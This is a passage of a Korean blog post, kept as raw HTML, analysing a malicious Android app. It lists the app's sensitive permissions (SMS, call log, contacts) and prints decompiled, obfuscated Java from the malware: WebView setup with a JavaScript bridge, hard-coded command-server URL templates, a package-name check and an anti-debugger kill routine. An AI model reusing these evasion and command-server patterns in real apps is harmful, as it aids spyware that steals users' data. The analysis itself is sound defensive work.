this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;242&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AndroidManifest.xml 내 권한 선언&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;676&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;No&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;요청 권한&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;권한 설명&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;중요권한여부&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_PHONE_NUMBERS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;대략적 위치정보 접근&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;Y&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_CALL_LOG&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;통화기록 접근&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;Y&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.INTERNET&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;인터넷 통신&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;N&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;4&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_SMS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;SMS&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;기록 읽기&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;Y&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.hardware.telephony&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;단말 전화번호 정보 단말&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;N&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;6&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_PHONE_STATE&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;통화상태 수집&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;N&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;37&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;7&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;331&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_CONTACTS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;214&quot;&gt;&lt;span&gt;&lt;span&gt;연락처 수집&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;Y&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.1.2. 액티비티(Activity)&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;액티비티는 안드로이드 앱의 화면 구성 단위로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자와 상호작용을 위한 인터페이스를 제공한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 내의 로그인 화면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;메인 메뉴&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;설정 화면 등은 각각 별도의 액티비티로 구현됨&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;악성 앱의 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;대상 앱에 선언된 액티비티는 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LNwCD/btsKKH1pM8X/uSBLgDfDuECdUfk0GidJ0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LNwCD/btsKKH1pM8X/uSBLgDfDuECdUfk0GidJ0k/img.png&quot; data-alt=&quot;AndroidManifest.xml 파일 내 액티비티 선언&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LNwCD/btsKKH1pM8X/uSBLgDfDuECdUfk0GidJ0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLNwCD%2FbtsKKH1pM8X%2FuSBLgDfDuECdUfk0GidJ0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;127&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AndroidManifest.xml 파일 내 액티비티 선언&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;681&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;44&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;No&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;457&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;액티비티&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center;&quot; width=&quot;180&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;비고&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #ffffff; text-align: center;&quot; width=&quot;44&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;457&quot;&gt;&lt;span&gt;&lt;span&gt;com.service.*.App&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;180&quot;&gt;&lt;span&gt;&lt;span&gt;메인 액티비티&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.2. 동적 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱이 사용자의 실행으로 어떻게 구동되고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자와 상호작용에 반응하는지 분석한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱의 초기 로딩&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한 요청&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;주요 기능 실행 등을 어떻게 처리하는지 분석한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱의 실행 흐름을 따라가면서&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;네트워크 통신&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;특히&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;의심스러운 네트워크 활동&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;민감한 정보의 무단 수집 및 전송&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;비정상적 시스템 자원 사용 등의 행위를 식별한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.1.1. 사용자 직접 실행&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) 앱 동작 주요 권한 요청&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앱을 실행한 후에는 실행에 필요한 조건을 검사하고, 단말의 화면에 띄울 레이아웃을 설정한다. 설정한 후에는 단말의 안드로이드 버전(SDK)에 맞게 권한을 요청한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156153&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Override  // android.app.Activity
    public void onCreate(Bundle bundle0) {
        super.onCreate(bundle0);
        this.껾겇겸긆곯ꨧ겧귺();
        this.껾j꬯꩜ꯑ괇굑ꮠ();
        this.껾걋껣꯰ꪲꪩ귺꺅();
        this.setContentView(0x7F060000);
        WebView webView0 = (WebView)this.findViewById(0x7F050000);
        this.c = webView0;
        webView0.loadUrl(&quot;file:///android_asset/web_main.html&quot;);
        this.c.setWebViewClient(new gfhb0.r08uiz.f86d3.b(this));
        WebSettings webSettings0 = this.c.getSettings();
        webSettings0.setJavaScriptEnabled(true);
        this.c.addJavascriptInterface(new a(this), &quot;injectedObject&quot;);
        webSettings0.setDefaultTextEncodingName(&quot;utf-8&quot;);
        webSettings0.setDisplayZoomControls(false);
        Objects.requireNonNull(this.b);
        if(c.c.i == null) {
            c.c.h = String.format(&quot;http://%s:%d&quot;, c.c.e, ((int)10900));
            c.c.i = String.format(&quot;http://%s:%d&quot;, c.c.e, ((int)8090));
        }
        new Thread(new a.c(this, 4)).start();
        ArrayList arrayList0 = this.e();
        if(arrayList0.size() &amp;gt; 0) {
            this.requestPermissions(((String[])arrayList0.toArray(new String[0])), 0x3F3);
            return;
        }
        this.g();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;각각의 함수명은 난독화되어 있으며, 정상적인 코드 분석을 방해하고 실행 목적을 숨기려는 의도로 사용되었음을 확인하였다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;설치된 패키지 목록에서 패키지 정보를 수집하여, &amp;ldquo;SHA-1&amp;rdquo;로 서명된 전자서명값을 계산한다. 계산된 해쉬 값은 16진수 문자열로 변환되며 하드코딩된 문자열 &amp;ldquo;4E4735C86FE72F217FF23BAD8CC4807797C0C025&amp;rdquo;와 비교하여 그 이외의 해쉬값인 경우 finish() 함수를 실행하여 실행중인 앱을 종료한다. 해쉬값은 파일별로 고유한 값을 가지므로 특정 패키지만 설치를 허용하며 그 이외의 경우 애플리케이션 실행을 방지하는 기능을 수행한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156156&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;public final void 껾j꬯꩜ꯑ괇굑ꮠ() {
        if(!this.getApplicationContext().getPackageName().equalsIgnoreCase(&quot;tfecpmsj.qfkuyebo.scxzlwj&quot;)) {
            this.finish();
            Process.killProcess(Process.myPid());
            System.exit(1);
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음 함수에서는 단말에 설치된 패키지 목록을 수집하여 패키지명이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;ldquo;tfecpmsj.qfkuyebo.scxzlwj&amp;rdquo;&lt;/span&gt;와 동일한 패키지가 존재하는지 여부를 검사함&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;존재하지 않는다면&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;finish()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 실행하여 실행중인 앱을 종료함&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;분석 결과 대상 앱의 프로세스 식별자임을 확인함&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1058&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cibtr6/btsKJniRNsk/Hke3zjOkNLHDAV2Z69B3Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cibtr6/btsKJniRNsk/Hke3zjOkNLHDAV2Z69B3Z0/img.png&quot; data-alt=&quot;분석 대상 앱 프로세스명 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cibtr6/btsKJniRNsk/Hke3zjOkNLHDAV2Z69B3Z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcibtr6%2FbtsKJniRNsk%2FHke3zjOkNLHDAV2Z69B3Z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1058&quot; height=&quot;289&quot; data-origin-width=&quot;1058&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;분석 대상 앱 프로세스명 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또한, 디버거 연결 상태 확인 함수&lt;span&gt;(Debug.isDebuggerConnected)&lt;/span&gt;를 이용하여 현재 앱이 디버깅 상태인지 여부를 확인한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;디버거가 연결된 경우&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;finish()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 실행하여 실행중인 앱을 종료한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이는 실제 사용자가 아닌 분석 용도로 앱을 실행시켰을 때 분석이 불가하도록 종료하는 의도이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후 분석 과정에서는 종료 로직을 우회하여 악성 행위를 분석하였다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156157&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;public final void 껾걋껣꯰ꪲꪩ귺꺅() {
        if(Debug.isDebuggerConnected()) {
            this.finish();
            Process.killProcess(Process.myPid());
            System.exit(1);
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱 경로 내 저장된 리소스를 로드하여 화면을 구성한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;웹뷰의 자바스크립트 사용을 허용하고 새로운 스레드를 시작하여 앱 실행 흐름을 분기함&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;저장된&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;web_main.html&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일은 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156157&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Override  // android.app.Activity
    public void onCreate(Bundle bundle0) {
        super.onCreate(bundle0);
		(..생략..)
        WebView webView0 = (WebView)this.findViewById(0x7F050000);
        this.c = webView0;
        webView0.loadUrl(&quot;file:///android_asset/web_main.html&quot;);
        this.c.setWebViewClient(new gfhb0.r08uiz.f86d3.b(this));
        WebSettings webSettings0 = this.c.getSettings();
        webSettings0.setJavaScriptEnabled(true);
        this.c.addJavascriptInterface(new a(this), &quot;injectedObject&quot;);
        webSettings0.setDefaultTextEncodingName(&quot;utf-8&quot;);
        webSettings0.setDisplayZoomControls(false);
        Objects.requireNonNull(this.b);
        if(c.c.i == null) {
            c.c.h = String.format(&quot;http://%s:%d&quot;, c.c.e, ((int)10900));
            c.c.i = String.format(&quot;http://%s:%d&quot;, c.c.e, ((int)8090));
        }
		(..생략..)
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wUi7I/btsKJMoUt32/iYkrK1BNZRm6oiNBuAJRv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wUi7I/btsKJMoUt32/iYkrK1BNZRm6oiNBuAJRv0/img.png&quot; data-alt=&quot;정적 웹 페이지 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wUi7I/btsKJMoUt32/iYkrK1BNZRm6oiNBuAJRv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwUi7I%2FbtsKJMoUt32%2FiYkrK1BNZRm6oiNBuAJRv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; 